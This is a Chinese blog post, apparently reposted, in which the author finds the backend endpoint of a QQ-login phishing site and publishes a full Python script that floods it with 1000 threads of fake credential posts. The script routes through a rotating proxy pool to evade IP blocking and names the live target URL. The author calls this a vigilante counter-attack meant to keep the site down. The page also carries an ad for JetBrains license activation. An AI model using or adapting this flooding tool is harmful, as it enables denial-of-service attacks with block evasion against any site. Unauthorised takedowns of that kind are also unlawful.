用Python打击盗号钓鱼网站

用Python打击盗号钓鱼网站事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preservelog,然后随便输入

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/

打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白
造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。

我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preserve log,然后随便输入一串账号密码,点击登陆

然后会发现抓到了api.php,完整地址是http://tencent.outlook.com.eskdp.xyz/mail/api/api.php

post方法发送了两个字段usernamepassword
记住这个地址,后面程序要用到

好的,我们已经拿到了真实的后台地址,想到这,某人咧嘴一笑,我们的思路是不停的给它发送请求,直到他的服务器崩溃(后面发现过段时间还会重启)

于是第一版本的代码就出炉了,通过多线程并发疯狂发送post请求,经过测试发现有些问题,就是这个网站好像可以锁定IP,对请求的IP进行限制,看到这种情况下,
某人咧嘴一笑,想到了IP的代{过}理{滤}池,于是clone了一个git开源项目,给这个程序注入灵魂,于是开启程序,一分钟后,再次刷新那个钓鱼网站,已经打不开了。

我用的代{过}理{滤}池项目是https://github.com/jhao104/proxy_pool

这个项目我启动的时候遇到了报错,如果有一样的问题可以看我提的issue:https://github.com/jhao104/proxy_pool/issues/453

下面放代码

#coding=utf-8
''' 疯狂发送post请求 '''
import requests
import random
from time import ctime  
import threading 

count = 1

def get_proxy():
    return requests.get("http://127.0.0.1:5010/get/").json()

def delete_proxy(proxy):
    requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy))

def getResponse(postJson):
    # ....
    retry_count = 5
    url = 'http://tencent.outlook.com.eskdp.xyz/mail/api/api.php'
    proxy = get_proxy().get("proxy")
    while retry_count > 0:
        try:
            response = requests.post(url, proxies={ 
   "http": "http://{}".format(proxy)}, data=postJson)
            # 使用代理访问
            return response
        except Exception:
            retry_count -= 1
    # 出错5次, 删除代理池中代理
    delete_proxy(proxy)
    return None

#创建请求函数
def postRequest():
    global count
    Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ"
    postJson= { 
   "username":random.randint(10000,9999999999),"password":"".join(random.choice(Number) for i in range(random.randint(6,10)))}#值以字典的形式传入
    # response = requests.post(url=url,data=postJson)
    response = getResponse(postJson)
    # if response is not None
    try:
        print("状态码:", response.status_code, "第", count, "次发送成功")
        count += 1
    except :
        pass
    
  
#创建数组存放线程 
threads=[] 
#创建1000个线程
for i in range(1000):
    #针对函数创建线程 
    t=threading.Thread(target=postRequest,args=())
    #把创建的线程加入线程组 
    threads.append(t)  
  
if __name__ == '__main__':
    #启动线程 
    for i in threads:  
        i.start()  
    #keep thread 
    for i in threads:  
        i.join()

后续我准备改进一下,增加周期性检测,然后放到服务器上,只要检测到网页可以打开就持续发送,对于这种危害大家信息安全的钓鱼网站,正是需要我们共同努力维护网络安全。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159485.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • platform device driver

    platform device driverplatform总线是在linux2.6内核中加入的一种虚拟总线。platform机制有两部分组成platform_device和platform_driver.structplatform_device{   constchar   *name;   int      id;   structdevice   dev;   u32      num_resources;   structresource   *resource;};plat

    2022年7月24日
    5
  • 安卓dtmf识别_使用Goertzel算法识别DTMF信号

    安卓dtmf识别_使用Goertzel算法识别DTMF信号Goertzel算法Goertzel算法由GeraldGoertzel在1958年提出,用于数字信号处理,是属于离散傅里叶变换的范畴,目的是从给定的采样中求出某一特定频率信号的能量,用于有效性的评价。这个算法有几个关键的参数:采样率R,指的是需要分析的数据每秒钟有多少个采样目标频率f,指的是需要检测并评价的这个频率的值检测区段采样值数量N,也就是每N个采样这个算法会对频率f给出评价检测区段包含目…

    2025年5月28日
    0
  • 校园网络拓扑图及配置_校园网防火墙

    校园网络拓扑图及配置_校园网防火墙该设计topo图(三层:核心、汇聚、接入),并加所有的配置命令。文章中的综合运用设计技术的单个技术如vlan划分、静态路由、OSPF、单臂路由(trunk/access)、DHCP、无线WLAN、Snooping、MSTP、VRRP、防火墙、DNSserver、ACL等。该topo适合了解并熟知单个组网技术的小伙伴,并想学习将单个技术组合应用的小伙伴,使用场景适用于毕业设计、校园网络规划、企业网络规划等场合………………………

    2022年9月27日
    0
  • 数组的初始化及其基本属性

    数组的初始化及其基本属性数组的初始化及其基本属性1.数组:属于引用类型,就是一个存放同类型变量数据的容器。(容器概念以后再补)2.数组初始化第一种:数据类型[]数组名=new数据类型[数据长度];(动态初始

    2022年7月1日
    17
  • JAVABEAN是什么和总结JAVABEAN的两种使用方式

    JAVABEAN是什么和总结JAVABEAN的两种使用方式原文:http://www.blogjava.net/flysky19/articles/88180.html一、 javabean 是什么?Javabean 就是一个类,这个类就定义一系列 get 和 set 方法。 Sosimple !Javabean 就是为了和 jsp 页面传数据化简交互过程而产生的。自己的理解:使用 javabean 和不用 javabean 的

    2022年7月17日
    11
  • Oracle的DDL和DML

    Oracle知识点整理(二)前言SQLSQL的分类Oracle的数据类型NUMBERCHARVARCHAR/VARCHAR2DATESQL操作创建表查看表结构删除表修改表修改表名修改表的结构新增字段修改字段删除字段新增数据修改数据删除数据前言这一章主要介绍一下SQL中的DDL和DML,以Oracle为例。SQLSQL:StructuredQueryLanguage结构化查询语言SQL是在关系型数据库上执行数据操作、检索、维护所使用的标准语言。所有的数据库都使用相同或相似的语言。SQL

    2022年4月8日
    72

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号